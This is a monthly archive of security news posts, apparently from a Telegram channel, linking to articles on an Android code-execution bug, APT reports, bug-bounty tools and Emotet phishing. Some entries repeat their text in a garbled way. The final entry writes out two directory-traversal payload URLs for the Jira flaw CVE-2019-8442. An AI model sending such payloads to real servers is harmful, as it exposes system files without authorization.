All posts in October 2020

■■■□□ Arbitrary code execution on Facebook for Android. https://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f Source: Twitter | Sayed Abdelhafiz https://t.me/cKure/5711

■■□□□ BCscope: Get the scope of your bugcrowd programs. https://github.com/sw33tLie/bcscope https://t.me/cKure/5710

■□□□□ #CyberWar: Russia and China's 'digital authoritarianism' means we need to better arm our cyber troops, warns top UK general. https://go.theregister.com/feed/www.theregister.com/2020/10/02/digital_authoritarianism_general_nic#CyberWar: Russia and China's 'digital authoritarianism' means we need to better arm our cyber troops, warns top UK general. https://go.theregister.com/feed/www.theregister.com/2020/10/02/digital_authoritarianism_general_nick_carter/ https://t.me/cKure/5709

■□□□□ #Russia : Researchers track hacking ‘fingerprints,’ link Russian attackers to Windows exploit sellers. https://www.zdnet.com/article/researchers-track-hacking-fingerprints-link-russian-group-to-windows-ex#Russia : Researchers track hacking ‘fingerprints,’ link Russian attackers to Windows exploit sellers. https://www.zdnet.com/article/researchers-track-hacking-fingerprints-link-russian-group-to-windows-exploits/ https://t.me/cKure/5708

■■■□□ ESET discovers a rare APT that stayed undetected for nine years. XDSpy: stealing government secrets since 2011 https://www.zdnet.com/article/eset-discovers-a-rare-apt-that-stayed-undetected-for-nine-years/ https://t.me/cKure/5707

■■■■■ Duplicut Quickly dedupe massive wordlists, without changing the order. ● Looking to integrate for real operations. https://github.com/nil0x42/duplicut https://t.me/cKure/5705

■□□□□ Facebook has sued today the makers of the UpVoice and Ads Feed Chrome extensions. One of them is an Israeli company: BrandTotal.com; other a , from Delaware. https://www.zdnet.com/article/facebook-sues-two-chrome-extension-makers-for-scraping-userBrandTotal.com; other a , from Delaware. https://www.zdnet.com/article/facebook-sues-two-chrome-extension-makers-for-scraping-user-data/ #Israel https://t.me/cKure/5704

■■□□□ GFX Xsender Hack Tool: A Spam Mailer. https://securityboulevard.com/2020/10/gfx-xsender-hack-tool-a-spam-mailer/ https://t.me/cKure/5703

■■□□□ Emotet exploiting election campaign of #UnitedStates via phisging . https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-el#UnitedStates via phisging . https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures https://t.me/cKure/5702

■■□□□ Archive: CVE-2019-8442 (Jira Webroot Directory Traversal) Payload 1: http://target.domain/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml Payload 2:http://target.domain/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties https://t.me/cKure/5701